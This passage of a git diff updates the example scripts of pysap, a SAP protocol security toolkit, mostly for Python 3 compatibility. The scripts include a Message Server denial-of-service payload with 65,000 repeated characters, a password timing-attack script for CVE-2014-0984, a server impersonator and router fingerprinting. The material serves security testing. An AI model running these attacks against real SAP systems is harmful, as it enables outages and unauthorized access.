self.runtimeoptions["client_send_length"] = 1000 self.runtimeoptions["client_version"] = 3 + self.runtimeoptions["server_name"] = "" + self.runtimeoptions["server_version"] = 0 # Initialization def preloop(self): @@ -89,11 +91,14 @@ def do_connect(self, args): # Walk over the server's parameters for param in response.params: - self._debug("Server parameter: %s=%s" % (enqueue_param_values[param.param], - param.value if param.param not in [0x03] else param.set_name)) + pval = param.set_name if param.param in [0x03] else param.value + if isinstance(pval, bytes): + pval = pval.decode('latin-1', errors='replace') + self._debug("Server parameter: %s=%s" % (enqueue_param_values[param.param], pval)) # Save server version and name as runtime options if param.param == 0x03: - self.runtimeoptions["server_name"] = param.set_name + name = param.set_name + self.runtimeoptions["server_name"] = name.decode('latin-1', errors='replace') if isinstance(name, bytes) else name if param.param == 0x05: self.runtimeoptions["server_version"] = param.value @@ -171,7 +176,7 @@ def do_check_pattern_loop_dos(self, args): try: self.connection.sr(p)[SAPEnqueue] self._print("Server available, probably not vulnerable to CVE-2014-0995") - except: + except Exception: self._print("Server unavailable, probably vulnerable to CVE-2014-0995.") diff --git a/examples/hdb_auth.py b/examples/hdb_auth.py index 10c180d3..49852509 100755 --- a/examples/hdb_auth.py +++ b/examples/hdb_auth.py @@ -197,15 +197,19 @@ def main(): logging.info("[*] Successfully authenticated against HANA database server") if hdb.auth_method.session_cookie is not None: - logging.info("[*] Session cookie assigned to this session: %s" % hdb.auth_method.session_cookie) + cookie = hdb.auth_method.session_cookie + if isinstance(cookie, bytes): + cookie = cookie.hex() + if cookie: + logging.info("[*] Session cookie assigned to this session: %s" % cookie) hdb.close() logging.debug("[*] Connection with HANA database server closed") except SAPHDBAuthenticationError as e: - logging.error("[-] Authentication error: %s" % e.message) + logging.error("[-] Authentication error: %s" % e) except SAPHDBConnectionError as e: - logging.error("[-] Connection error: %s" % e.message) + logging.error("[-] Connection error: %s" % e) except KeyboardInterrupt: logging.info("[-] Connection canceled") diff --git a/examples/hdb_discovery.py b/examples/hdb_discovery.py index dd70642a..dd0383c2 100755 --- a/examples/hdb_discovery.py +++ b/examples/hdb_discovery.py @@ -147,6 +147,8 @@ def main(): for key, name in SAPHDBPartDBConnectInfo.option_keys.items(): value = hdb_get_part_kind_option(hdb_dbconnectinfo_response_part, key) if value is not None: + if isinstance(value, bytes): + value = value.decode('utf-8', errors='replace') results[tenant][name] = value logging.debug("[*]\t{}:\t{}".format(name, value)) diff --git a/examples/igs_http_imgconv.py b/examples/igs_http_imgconv.py index 7d0e2721..2512ea3f 100755 --- a/examples/igs_http_imgconv.py +++ b/examples/igs_http_imgconv.py @@ -82,10 +82,14 @@ def main(): options.remote_port)) # Initiate the connection - conn = SAPRoutedStreamSocket.get_nisocket(options.remote_host, - options.remote_port, - options.route_string, - talk_mode=ROUTER_TALK_MODE_NI_RAW_IO) + try: + conn = SAPRoutedStreamSocket.get_nisocket(options.remote_host, + options.remote_port, + options.route_string, + talk_mode=ROUTER_TALK_MODE_NI_RAW_IO) + except (OSError, Exception) as e: + print("[-] Connection failed: %s" % e) + return # XML file request # JPEG to PNG size 100x100 @@ -99,7 +103,7 @@ def main(): ''' # build http packet - files = {"xml": ("xml", xml), "img": ("img", image)} + files = {"xml": ("xml", xml.encode()), "img": ("img", image)} p = SAPIGS.http(options.remote_host, options.remote_port, 'IMGCONV', files) # Send request @@ -111,7 +115,8 @@ def main(): # Extract picture url from response print("[*] Generated file(s) :") - for url in str(response).split('href='): + body = response.load.decode('latin-1', errors='replace') if hasattr(response, 'load') else str(response) + for url in body.split('href='): if "output" in url: print("http://%s:%d%s" % (options.remote_host, options.remote_port, diff --git a/examples/igs_http_xmlchart.py b/examples/igs_http_xmlchart.py index e451752d..878dc0c4 100755 --- a/examples/igs_http_xmlchart.py +++ b/examples/igs_http_xmlchart.py @@ -73,10 +73,14 @@ def main(): options.remote_port)) # Initiate the connection - conn = SAPRoutedStreamSocket.get_nisocket(options.remote_host, - options.remote_port, - options.route_string, - talk_mode=ROUTER_TALK_MODE_NI_RAW_IO) + try: + conn = SAPRoutedStreamSocket.get_nisocket(options.remote_host, + options.remote_port, + options.route_string, + talk_mode=ROUTER_TALK_MODE_NI_RAW_IO) + except (OSError, Exception) as e: + print("[-] Connection failed: %s" % e) + return # XML Data content data = ''' @@ -90,19 +94,20 @@ def main(): ''' # http POST request type multipart/form-data - files = {'data': ('data', data)} + files = {'data': ('data', data.encode())} p = SAPIGS.http(options.remote_host, options.remote_port, 'XMLCHART', files) # Send/Receive request print("[*] Send request to IGS...") conn.send(p) print("[*] Response :") - response = conn.recv(1024) + response = conn.recv() response.show() # Extract picture from response print("[*] Generated file(s) :") - for url in str(response).split('href='): + body = response.load.decode('latin-1', errors='replace') if hasattr(response, 'load') else str(response) + for url in body.split('href='): if "output" in url: print("http://%s:%d%s" % (options.remote_host, options.remote_port, diff --git a/examples/igs_http_zipper.py b/examples/igs_http_zipper.py index 2b760a6f..f3b3206e 100755 --- a/examples/igs_http_zipper.py +++ b/examples/igs_http_zipper.py @@ -85,32 +85,37 @@ def main(): exit(2) # Initiate the connection - conn = SAPRoutedStreamSocket.get_nisocket(options.remote_host, - options.remote_port, - options.route_string, - talk_mode=ROUTER_TALK_MODE_NI_RAW_IO) + try: + conn = SAPRoutedStreamSocket.get_nisocket(options.remote_host, + options.remote_port, + options.route_string, + talk_mode=ROUTER_TALK_MODE_NI_RAW_IO) + except (OSError, Exception) as e: + print("[-] Connection failed: %s" % e) + return # the xml request for zipper interpreter xml = '' xml += '' @@ -112,7 +116,7 @@ def main(): offset = (len(table_xml) + len(table_file)) # filling tables - content_xml = xml + content_xml = xml.encode() content_file = file_input_content # total size of packet diff --git a/examples/ms_change_param.py b/examples/ms_change_param.py index eec17415..a6623781 100755 --- a/examples/ms_change_param.py +++ b/examples/ms_change_param.py @@ -104,8 +104,8 @@ def main(): print("[*] Sending login packet") response = conn.sr(p)[SAPMS] - print("[*] Login performed, server string: %s" % response.fromname) - server_string = response.fromname if isinstance(response.fromname, bytes) else response.fromname + server_string = response.fromname + print("[*] Login performed, server string: %s" % (server_string.decode("utf-8", errors="replace").strip() if isinstance(server_string, bytes) else server_string)) print("[*] Retrieving current value of parameter: %s" % options.param_name) @@ -122,6 +122,8 @@ def main(): response.show() param_old_value = response.adm_records[0].parameter + if isinstance(param_old_value, bytes): + param_old_value = param_old_value.decode("utf-8", errors="replace").strip("\x00").strip() print("[*] Parameter %s" % param_old_value) # If a parameter change was requested, send an ADM AD_SHARED_PARAMETER request diff --git a/examples/ms_dos_exploit.py b/examples/ms_dos_exploit.py index 40644e35..b7d22176 100755 --- a/examples/ms_dos_exploit.py +++ b/examples/ms_dos_exploit.py @@ -129,7 +129,7 @@ def main(): options.remote_port)) # Crafting the item - item = "GET /msgserver/html/group?group=" + "A" * 65000 + " HTTP/1.0\r\n" + item = ("GET /msgserver/html/group?group=" + "A" * 65000 + " HTTP/1.0\r\n").encode() try: if options.loop: diff --git a/examples/ms_dump_info.py b/examples/ms_dump_info.py index 334814a3..33cd0020 100755 --- a/examples/ms_dump_info.py +++ b/examples/ms_dump_info.py @@ -92,8 +92,8 @@ def main(): print("[*] Sending login packet:") response = conn.sr(p)[SAPMS] - print("[*] Login OK, Server string: %s" % response.fromname) - server_string = response.fromname if isinstance(response.fromname, bytes) else response.fromname + server_string = response.fromname + print("[*] Login OK, Server string: %s" % (server_string.decode("utf-8", errors="replace").strip() if isinstance(server_string, bytes) else server_string)) # Send a Dump Info packet for each possible Dump for i in ms_dump_command_values.keys(): @@ -112,7 +112,10 @@ def main(): if response.opcode_error != 0: print("Error:", ms_opcode_error_values[response.opcode_error]) - print(response.opcode_value) + value = response.opcode_value + if isinstance(value, bytes): + value = value.rstrip(b'\x00').decode('utf-8', errors='replace') + print(value) if __name__ == "__main__": diff --git a/examples/ms_dump_param.py b/examples/ms_dump_param.py index 19e9e3d6..2a092079 100755 --- a/examples/ms_dump_param.py +++ b/examples/ms_dump_param.py @@ -97,8 +97,8 @@ def main(): p = SAPMS(flag=0x00, iflag=0x08, toname=client_string, fromname=client_string) print("[*] Sending login packet:") response = conn.sr(p)[SAPMS] - print("[*] Login OK, Server string: %s\n" % response.fromname) - server_string = response.fromname if isinstance(response.fromname, bytes) else response.fromname + server_string = response.fromname + print("[*] Login OK, Server string: %s\n" % (server_string.decode("utf-8", errors="replace").strip() if isinstance(server_string, bytes) else server_string)) try: with open(options.file_param) as list_param: diff --git a/examples/ms_impersonator.py b/examples/ms_impersonator.py index a17675e0..bac97189 100755 --- a/examples/ms_impersonator.py +++ b/examples/ms_impersonator.py @@ -72,6 +72,13 @@ def parse_options(): return options +def require_sapms_response(response, action): + """Return the SAPMS layer or raise a clear error for unexpected packets.""" + if SAPMS not in response: + raise ValueError("Unexpected response while %s: SAPMS layer not found" % action) + return response[SAPMS] + + # Main function def main(): options = parse_options() @@ -97,58 +104,64 @@ def main(): # Perform the login enabling the DIA+BTC+ICM services p = SAPMS(flag=0x08, iflag=0x08, msgtype=0x89, domain=domain, toname="-", fromname=options.client) print("[*] Sending login packet") - conn.sr(p)[SAPMS] - print("[*] Login performed") - - # Changing the status to starting - p = SAPMS(flag=0x01, iflag=0x09, msgtype=0x05, domain=domain, toname="-", fromname=options.client) - print("[*] Changing server's status to starting") - conn.send(p) - - # Set IP address - p = SAPMS(flag=0x01, iflag=0x01, domain=domain, toname="MSG_SERVER", fromname=options.client, opcode=0x06, - opcode_version=0x01, change_ip_addressv4=options.logon_address) - print("[*] Setting IP address") - response = conn.sr(p)[SAPMS] - print("[*] IP address set") - response.show() - - # Set logon information - l = SAPMSLogon(type=2, port=3200, address=options.logon_address, host=options.client, misc="LB=3") - p = SAPMS(flag=0x01, iflag=0x01, msgtype=0x01, domain=domain, toname="MSG_SERVER", fromname=options.client, - opcode=0x2b, logon=l) - print("[*] Setting logon information") - response = conn.sr(p)[SAPMS] - print("[*] Logon information set") - response.show() - - # Set the IP Address property - prop = SAPMSProperty(client=options.client, id=0x03, address=options.logon_address) - p = SAPMS(flag=0x02, iflag=0x01, domain=domain, toname="-", fromname=options.client, - opcode=0x43, property=prop) - print("[*] Setting IP address property") - response = conn.sr(p)[SAPMS] - print("[*] IP Address property set") - response.show() - - # Changing the status to active - p = SAPMS(flag=0x01, iflag=0x09, msgtype=0x01, domain=domain, toname="-", fromname=options.client) - print("[*] Changing server's status to active") - conn.send(p) - - # Wait for connections try: + require_sapms_response(conn.sr(p), "performing login") + print("[*] Login performed") + + # Changing the status to starting + p = SAPMS(flag=0x01, iflag=0x09, msgtype=0x05, domain=domain, toname="-", fromname=options.client) + print("[*] Changing server's status to starting") + conn.send(p) + + # Set IP address + p = SAPMS(flag=0x01, iflag=0x01, domain=domain, toname="MSG_SERVER", fromname=options.client, opcode=0x06, + opcode_version=0x01, change_ip_addressv4=options.logon_address) + print("[*] Setting IP address") + response = require_sapms_response(conn.sr(p), "setting IP address") + print("[*] IP address set") + response.show() + + # Set logon information + l = SAPMSLogon(type=2, port=3200, address=options.logon_address, host=options.client, misc="LB=3") + p = SAPMS(flag=0x01, iflag=0x01, msgtype=0x01, domain=domain, toname="MSG_SERVER", fromname=options.client, + opcode=0x2b, logon=l) + print("[*] Setting logon information") + response = require_sapms_response(conn.sr(p), "setting logon information") + print("[*] Logon information set") + response.show() + + # Set the IP Address property + prop = SAPMSProperty(client=options.client, id=0x03, address=options.logon_address) + p = SAPMS(flag=0x02, iflag=0x01, domain=domain, toname="-", fromname=options.client, + opcode=0x43, property=prop) + print("[*] Setting IP address property") + response = require_sapms_response(conn.sr(p), "setting IP address property") + print("[*] IP Address property set") + response.show() + + # Changing the status to active + p = SAPMS(flag=0x01, iflag=0x09, msgtype=0x01, domain=domain, toname="-", fromname=options.client) + print("[*] Changing server's status to active") + conn.send(p) + + # Wait for connections while True: - response = conn.recv()[SAPMS] - response.show() + pkt = conn.recv() + if SAPMS in pkt: + pkt[SAPMS].show() + else: + pkt.show() except KeyboardInterrupt: print("[*] Cancelled by the user !") - - # Send MS_LOGOUT packet - p = SAPMS(flag=0x00, iflag=0x04, domain=domain, toname="MSG_SERVER", fromname=options.client) - print("[*] Sending logout packet") - conn.send(p) + except ValueError as e: + print("[-] %s" % e) + + finally: + # Send MS_LOGOUT packet + p = SAPMS(flag=0x00, iflag=0x04, domain=domain, toname="MSG_SERVER", fromname=options.client) + print("[*] Sending logout packet") + conn.send(p) if __name__ == "__main__": diff --git a/examples/ms_listener.py b/examples/ms_listener.py index b8b28a3f..78a4f0ac 100755 --- a/examples/ms_listener.py +++ b/examples/ms_listener.py @@ -92,16 +92,19 @@ def main(): print("[*] Sending login packet") response = conn.sr(p)[SAPMS] - print("[*] Login performed, server string: %s" % response.fromname) + fromname = response.fromname + print("[*] Login performed, server string: %s" % (fromname.decode("utf-8", errors="replace").strip() if isinstance(fromname, bytes) else fromname)) print("[*] Listening to server messages") try: while (True): - # Send MS_SERVER_LST packet - response = conn.recv()[SAPMS] + response = conn.recv() print("[*] Message received !") - response.show() + if SAPMS in response: + response[SAPMS].show() + else: + response.show() except SocketError: print("[*] Connection error") diff --git a/examples/ms_messager.py b/examples/ms_messager.py index f6c03043..fd8505fb 100755 --- a/examples/ms_messager.py +++ b/examples/ms_messager.py @@ -97,7 +97,8 @@ def main(): print("[*] Sending login packet") response = conn.sr(p)[SAPMS] - print("[*] Login performed, server string: %s" % response.fromname) + fromname = response.fromname + print("[*] Login performed, server string: %s" % (fromname.decode("utf-8", errors="replace").strip() if isinstance(fromname, bytes) else fromname)) # Sends a message to another client p = SAPMS(flag=0x02, iflag=0x01, domain=domain, toname=options.target, fromname=client_string, opcode=1) diff --git a/examples/ms_monitor.py b/examples/ms_monitor.py index cf2d9b4d..3d81f037 100755 --- a/examples/ms_monitor.py +++ b/examples/ms_monitor.py @@ -55,6 +55,22 @@ def preloop(self): self.do_connect(None) self.do_client_list(None) + @staticmethod + def _decode(value): + """Decode a bytes field and strip null/space padding.""" + if isinstance(value, bytes): + value = value.decode("utf-8", errors="replace") + return value.rstrip("\x00").strip() + + # Helper to extract the clients list from an MS_SERVER_LST response, + # regardless of which opcode_version the server echoed back. + def _get_clients(self, response): + for field in ("clients_v4", "clients_v3", "clients_v2", "clients"): + value = getattr(response, field, None) + if value is not None: + return value + return [] + # Helper for crafting packets def _build(self, flag, iflag, **args): return SAPMS(flag=flag, iflag=iflag, @@ -114,7 +130,8 @@ def do_connect(self, args): if response.errorno == 0: self.runtimeoptions["server_string"] = response.fromname.strip() + b"\x00" - self._debug("Login performed, server string: %s" % response.fromname) + fromname = response.fromname + self._debug("Login performed, server string: %s" % (fromname.decode("utf-8", errors="replace").strip() if isinstance(fromname, bytes) else fromname)) self._print("pysap's Message Server monitor, connected to %s / %d" % (self.options.remote_host, self.options.remote_port)) self.connected = True @@ -164,26 +181,32 @@ def do_client_list(self, args): # Send MS_SERVER_LST packet response = self._send_simple(0x02, 0x01, opcode=0x05, opcode_version=0x68) + if response is None: + return + + clients = self._get_clients(response) + # Print clients table table = [["#", "Client Name", "Host", "Service", "IPv4", "IPv6", "ServNo", "State", "Services"]] instance = self.runtimeoptions["server_string"] i = 0 - for client in response.clients: - if client.status == 1: - instance = client.client + for client in clients: + status = getattr(client, "status", None) + if status == 1: + instance = self._decode(client.client) table.append([str(i), - client.client, - client.host, - client.service, + self._decode(client.client), + self._decode(client.host), + self._decode(client.service), client.hostaddrv4, client.hostaddrv6 if "hostaddrv6" in client.fields else None, str(client.servno), - ms_client_status_values[client.status]]) + ms_client_status_values[status] if status is not None else ""]) i += 1 self._tabulate(table) # Store clients for further use - self.clients = response.clients + self.clients = clients self._debug("Server instance: %s" % instance) self.runtimeoptions["instance"] = instance @@ -251,7 +274,7 @@ def do_dump(self, args): return response = self._send_simple(0x02, 0x01, opcode=0x1e, dump_dest=0x02, dump_command=command, - dump_name=client.client) + dump_name=self._decode(client.client)) elif command == 12: # MS_DUMP_COUNTER try: counter = args[1] @@ -266,7 +289,10 @@ def do_dump(self, args): response = self._send_simple(0x02, 0x01, opcode=0x1e, dump_dest=0x02, dump_command=command) if response: - self._print("Dump information:\n%s" % response.opcode_value) + value = response.opcode_value + if isinstance(value, bytes): + value = value.rstrip(b'\x00').decode('utf-8', errors='replace') + self._print("Dump information:\n%s" % value) def do_server_parameters(self, args): """ Dump server parameters. """ @@ -489,7 +515,7 @@ def do_property_get(self, args): property=prop) if response: self._print("Property %s for client %s:" % (ms_property_id_values[prop_id], - prop_client.client.strip())) + self._decode(prop_client.client))) response.property.show() def do_parameter_get(self, args): @@ -504,7 +530,10 @@ def do_parameter_get(self, args): response = self.connection.sr(p)[SAPMS] if response: - self._print("Parameter value: %s" % response.adm_records[0].parameter) + param = response.adm_records[0].parameter + if isinstance(param, bytes): + param = param.decode("utf-8", errors="replace").strip("\x00").strip() + self._print("Parameter value: %s" % param) def do_parameter_set(self, args): """ Set parameter value (requires monitor mode enabled). @@ -541,7 +570,10 @@ def do_check_acl(self, args): if response.error_code: self._error("Error checking ACL, code %d" % response.error_code) else: - self._print("ACL: %s" % response.acl) + acl = response.acl + if isinstance(acl, bytes): + acl = acl.decode("utf-8", errors="replace").strip("\x00").strip() + self._print("ACL: %s" % acl) # Command line options parser diff --git a/examples/ms_observer.py b/examples/ms_observer.py index 657b5cc4..10414179 100755 --- a/examples/ms_observer.py +++ b/examples/ms_observer.py @@ -92,8 +92,8 @@ def main(): p = SAPMS(flag=0x00, iflag=0x08, domain=domain, toname=client_string, fromname=client_string) response = conn.sr(p)[SAPMS] - print("[*] Login performed, server string: %s" % response.fromname) - server_string = response.fromname if isinstance(response.fromname, bytes) else response.fromname + server_string = response.fromname + print("[*] Login performed, server string: %s" % (server_string.decode("utf-8", errors="replace").strip() if isinstance(server_string, bytes) else server_string)) # Send MS_SERVER_CHG packet print("[*] Sending server change packet") @@ -107,14 +107,26 @@ def main(): opcode_charset=0x00) conn.send(p) + def decode_field(value): + if isinstance(value, bytes): + return value.decode("utf-8", errors="replace").rstrip("\x00").strip() + return str(value).strip() if value is not None else "" + + def get_clients(response): + for field in ("clients_v4", "clients_v3", "clients_v2", "clients"): + value = getattr(response, field, None) + if value is not None: + return value + return [] + clients = [] def print_client(msg, client): if options.verbose: print("[*] %s %s (host=%s, service=%s, port=%d)" % (msg, - client.client.strip(), - client.host.strip(), - client.service.strip(), + decode_field(client.client), + decode_field(client.host), + decode_field(client.service), client.servno)) # Send MS_SERVER_LST packet @@ -122,28 +134,34 @@ def print_client(msg, client): p = SAPMS(flag=0x02, iflag=0x01, domain=domain, toname=server_string, fromname=client_string, opcode=0x05, opcode_version=0x68) response = conn.sr(p)[SAPMS] - for client in response.clients: + for client in get_clients(response): if client.client != client_string: clients.append(("LIST", client)) print_client("Client", client) + print("[*] Current clients:") + for _, client in clients: + print("\t%s (host=%s, service=%s, port=%d)" % (decode_field(client.client), + decode_field(client.host), + decode_field(client.service), + client.servno)) + print("[*] Observing changes (press Ctrl+C to stop)...") + try: while (True): - response = conn.recv()[SAPMS] + pkt = conn.recv() + if SAPMS not in pkt: + continue + response = pkt[SAPMS] response.show() - if response.opcode == 0x02: # Added client - client = response.clients[0] - clients.append(("ADD", client)) - print_client("Added client", client) - elif response.opcode == 0x03: # Deleted client - client = response.clients[0] - clients.append(("DEL", client)) - print_client("Deleted client", client) - elif response.opcode == 0x04: # Modified client - client = response.clients[0] - clients.append(("MOD", client)) - print_client("Modified client", client) + if response.opcode in (0x02, 0x03, 0x04): + label = {0x02: "ADD", 0x03: "DEL", 0x04: "MOD"}[response.opcode] + msg = {0x02: "Added client", 0x03: "Deleted client", 0x04: "Modified client"}[response.opcode] + cl = get_clients(response) + if cl: + clients.append((label, cl[0])) + print_client(msg, cl[0]) except SocketError: print("[*] Connection error") @@ -154,9 +172,9 @@ def print_client(msg, client): print("[*] Observed clients:") for action, client in clients: print("\t%s\tclient %s (host=%s, service=%s, port=%d)" % (action, - client.client.strip(), - client.host.strip(), - client.service.strip(), + decode_field(client.client), + decode_field(client.host), + decode_field(client.service), client.servno)) diff --git a/examples/router_admin.py b/examples/router_admin.py index 75761834..ececc1ac 100755 --- a/examples/router_admin.py +++ b/examples/router_admin.py @@ -102,6 +102,12 @@ def parse_options(): return options +def decode_field(val): + if isinstance(val, bytes): + val = val.decode('latin-1', errors='replace') + return val.strip('\x00').replace('\x00', ' ') + + def print_table(clients): """Prints the client table""" if tabulate: @@ -137,7 +143,7 @@ def main(): if options.info_password: if len(options.info_password) > 19: logging.info("[*] Password too long, truncated at 19 characters") - p.adm_password = options.info_password + p.adm_password = options.info_password.encode() logging.info("[*] Requesting info using password %s" % p.adm_password) else: logging.info("[*] Requesting info") @@ -172,13 +178,13 @@ def main(): elif options.set_peer: p.adm_command = 10 - p.adm_address_mask = options.set_peer + p.adm_address_mask = options.set_peer.encode() logging.info("[*] Request a set peer trace for the address mask %s" % p.adm_address_mask) response = True elif options.clear_peer: p.adm_command = 11 - p.adm_address_mask = options.clear_peer + p.adm_address_mask = options.clear_peer.encode() logging.info("[*] Request a clear peer trace for the address mask %s" % p.adm_address_mask) response = True @@ -193,7 +199,11 @@ def main(): return # Initiate the connection - conn = SAPNIStreamSocket.get_nisocket(options.remote_host, options.remote_port) + try: + conn = SAPNIStreamSocket.get_nisocket(options.remote_host, options.remote_port) + except (error, OSError) as e: + logging.error("[-] Failed to connect to %s:%d: %s" % (options.remote_host, options.remote_port, e)) + return logging.info("[*] Connected to the SAP Router %s:%d" % (options.remote_host, options.remote_port)) # Retrieve the router version used by the server if not specified @@ -207,7 +217,11 @@ def main(): logging.info("[*] Sending Router Admin packet") if options.verbose: p.show2() - conn.send(p) + try: + conn.send(p) + except (error, OSError) as e: + logging.error("[-] Failed to send request: %s" % e) + return # Grab the response if required if response: @@ -246,9 +260,9 @@ def main(): flag = "(*)" if client.flag_traced else "(+)" if client.flag_routed else "" fields = [str(client.id), - client.address, - "%s%s" % (flag, client.partner) if client.flag_routed else "(no partner)", - client.service if client.flag_routed else "", + decode_field(client.address), + "%s%s" % (flag, decode_field(client.partner)) if client.flag_routed else "(no partner)", + decode_field(client.service) if client.flag_routed else "", saptimestamp_to_datetime(client.connected_on).ctime()] clients.append(fields) diff --git a/examples/router_fingerprint.py b/examples/router_fingerprint.py index 02add8f1..e44e4a76 100755 --- a/examples/router_fingerprint.py +++ b/examples/router_fingerprint.py @@ -93,7 +93,7 @@ def parse_options(): # Connect to the SAP Route but not send any packet to trigger a timeout "Timeout": None, # Send a large packet - "Network packet too big": Raw("X" * 10025), + "Network packet too big": Raw(b"X" * 10025), # Use an invalid opcode "Invalid control opcode": SAPRouter(type=SAPRouter.SAPROUTER_CONTROL, version=38, opcode=3), # Do not send a route @@ -206,11 +206,13 @@ def match_fingerprint(self, target, error_text): for finger in self.fingerprints_db[target]: match = True for key, value in list(finger.items()): - if key in fingerprint_fields and hasattr(error_text, key) and getattr(error_text, key) != value: - match = False - logging.debug("[ ]\tUnmatched field: \"%s\" Value: \"%s\" vs \"%s\"" % (key, value, - getattr(error_text, - key))) + if key in fingerprint_fields and hasattr(error_text, key): + actual = getattr(error_text, key) + if isinstance(actual, bytes): + actual = actual.decode('latin-1', errors='replace') + if actual != value: + match = False + logging.debug("[ ]\tUnmatched field: \"%s\" Value: \"%s\" vs \"%s\"" % (key, value, actual)) if match: matches.append(finger) return matches @@ -249,13 +251,26 @@ def main(): logging.info("[*] (%d/%d) Fingerprint for packet '%s'" % (i, l, target)) # Initiate the connection and send the packet - conn = SAPNIStreamSocket.get_nisocket(options.remote_host, - options.remote_port, - keep_alive=False) - if packet is None: # Timeout error - error_text = conn.recv().err_text_value - else: - error_text = conn.sr(packet).err_text_value + conn = None + try: + conn = SAPNIStreamSocket.get_nisocket(options.remote_host, + options.remote_port, + keep_alive=False) + if packet is None: # Timeout error + error_text = conn.recv().err_text_value + else: + error_text = conn.sr(packet).err_text_value + except (OSError, Exception) as e: + logging.warning("[*] (%d/%d) Error probing '%s': %s" % (i, l, target, e)) + misses.append((target, None)) + i += 1 + continue + finally: + if conn is not None: + try: + conn.close() + except Exception: + pass matched = fingerprint_db.match_fingerprint(target, error_text) @@ -287,7 +302,7 @@ def main(): logging.info("\n[*] Probable versions (%d):" % len(versions)) for version in versions: msg = " ".join(["%s: \"%s\"" % (field, version[field]) for field in version_info_fields - if version[field] != ""]) + if version.get(field, "") != ""]) logging.info("[*]\tHits: %d Version: %s" % (counts[str(version)], msg)) if misses: @@ -305,9 +320,14 @@ def main(): if options.new_entries: new_fingerprint = {} for (target, error_text) in misses: + if error_text is None: + continue new_fingerprint[target] = [{}] for field in fingerprint_fields: - new_fingerprint[target][0][field] = getattr(error_text, field) + val = getattr(error_text, field) + if isinstance(val, bytes): + val = val.decode('latin-1', errors='replace') + new_fingerprint[target][0][field] = val # Expand with matched targets also for (target, fingerprint) in matches: new_fingerprint[target] = fingerprint diff --git a/examples/router_niping.py b/examples/router_niping.py index 00ee46fa..c720d18f 100755 --- a/examples/router_niping.py +++ b/examples/router_niping.py @@ -193,7 +193,10 @@ def server_mode(options): logging.error("[*] Cancelled by the user") finally: - sock.shutdown(SHUT_RDWR) + try: + sock.shutdown(SHUT_RDWR) + except OSError: + pass sock.close() diff --git a/examples/router_password_check.py b/examples/router_password_check.py index 920a9ca3..9245888e 100755 --- a/examples/router_password_check.py +++ b/examples/router_password_check.py @@ -18,22 +18,18 @@ # # Standard imports +import time +import socket import logging from argparse import ArgumentParser # External imports from scapy.config import conf -from scapy.packet import bind_layers +from scapy.packet import bind_layers, raw # Custom imports import pysap from pysap.SAPNI import SAPNI, SAPNIStreamSocket from pysap.SAPRouter import SAPRouter, get_router_version -# Try to import fau-timer for failing gracefully if not found -try: - import fau_timer -except ImportError: - fau_timer = None - # Bind the SAPRouter layer bind_layers(SAPNI, SAPRouter, ) @@ -50,8 +46,7 @@ def parse_options(): "Further analysis of the time records could be performed in order to identify whether the server " \ "is vulnerable to a timing attack on the password check (CVE-2014-0984). More details about the " \ "vulnerability in https://www.coresecurity.com/advisories/sap-router-password-timing-attack. " \ - "The script make use of the fau_timer library for measuring the timing of server's responses. " \ - "Install the library from https://github.com/seecurity/mona-timing-lib." + "Timing is measured using Python's perf_counter_ns()." usage = "%(prog)s [options] -d " @@ -73,6 +68,8 @@ def parse_options(): help="Correct password to test [%(default)s]") misc.add_argument("-o", "--output", dest="output", default="output.csv", help="Output file [%(default)s]") + misc.add_argument("--timeout", dest="timeout", type=float, default=5.0, + help="Socket timeout in seconds [%(default).1f]") options = parser.parse_args() @@ -86,23 +83,26 @@ def try_password(options, password, output=None, k=0): p = SAPRouter(type=SAPRouter.SAPROUTER_ADMIN, version=options.router_version) p.adm_command = 2 - p.adm_password = password - p = str(SAPNI() / p) - - fau_timer.init() - fau_timer.send_request(options.remote_host, options.remote_port, p, len(p)) - fau_timer.calculate_time() - cpu_peed = fau_timer.get_speed() - cpu_ticks = fau_timer.get_cpu_ticks() - time = fau_timer.get_time() + p.adm_password = password.encode() + data = raw(SAPNI() / p) + + try: + with socket.create_connection((options.remote_host, options.remote_port), + timeout=options.timeout) as conn: + t_start = time.perf_counter_ns() + conn.sendall(data) + conn.recv(1024) + elapsed_ns = time.perf_counter_ns() - t_start + except (socket.timeout, OSError) as e: + elapsed_ns = "ERROR:%s" % e.__class__.__name__ + logging.debug("Request failed: %s", e) + else: + logging.debug("Request time: %s nanosec" % elapsed_ns) - logging.debug("Request time: CPU Speed: %s Hz CPU Ticks: %s Time: %s nanosec" % (cpu_peed, cpu_ticks, time)) - - # Write the time to the output file if output: - output.write("%i,%s,%s\n" % (k, password, time)) + output.write("%i,%s,%s\n" % (k, password, elapsed_ns)) - return time + return elapsed_ns # Main function @@ -114,10 +114,6 @@ def main(): level = logging.DEBUG logging.basicConfig(level=level, format='%(message)s') - if fau_timer is None: - logging.error("[-] Required library not found. Please install it from https://github.com/seecurity/mona-timing-lib") - return - # Initiate the connection conn = SAPNIStreamSocket.get_nisocket(options.remote_host, options.remote_port) logging.info("[*] Connected to the SAP Router %s:%d" % (options.remote_host, options.remote_port)) @@ -125,6 +121,7 @@ def main(): # Retrieve the router version used by the server if not specified if options.router_version is None: options.router_version = get_router_version(conn) + conn.close() logging.info("[*] Using SAP Router version %d" % options.router_version) diff --git a/examples/router_portfw.py b/examples/router_portfw.py index 1365c749..0b348c1f 100755 --- a/examples/router_portfw.py +++ b/examples/router_portfw.py @@ -70,6 +70,11 @@ def parse_options(): help="Local port to listen [target-port]") target.add_argument("--talk-mode", dest="talk_mode", default="raw", help="Talk mode to use when requesting the route (raw or ni) [%(default)s]") + target.add_argument("--passthrough", dest="passthrough", action="store_true", default=False, + help="Passthrough mode: pipe all bytes to the remote SAP Router without " + "establishing an NI_ROUTE. The client (e.g. SAPGUI) sends its own " + "NI_ROUTE through the tunnel. Configure SAPGUI with this proxy's " + "address as the SAP Router.") target.add_argument("--route-string", dest="target_route_string", help="Route String for connecting through a SAP Router") @@ -78,30 +83,36 @@ def parse_options(): options = parser.parse_args() - if options.target_route_string and ( options.remote_host or options.target_host): + if options.target_route_string and (options.remote_host or options.target_host): print("[!] Route String specified, Remote and Target host ignored") route = SAPRouterRouteHop.from_string(options.target_route_string) - options.remote_host = route[0].hostname + options.remote_host = route[0].hostname.decode() if isinstance(route[0].hostname, bytes) else route[0].hostname options.remote_port = 3299 - if route[0].port and route[0].port.isdigit(): options.remote_port = int(route[0].port) - options.target_host = route[-1].hostname + if route[0].port and route[0].port.isdigit(): + options.remote_port = int(route[0].port) + options.target_host = route[-1].hostname.decode() if isinstance(route[-1].hostname, bytes) else route[-1].hostname options.target_port = 3299 - if route[-1].port and route[-1].port.isdigit(): options.target_port = int(route[-1].port) + if route[-1].port and 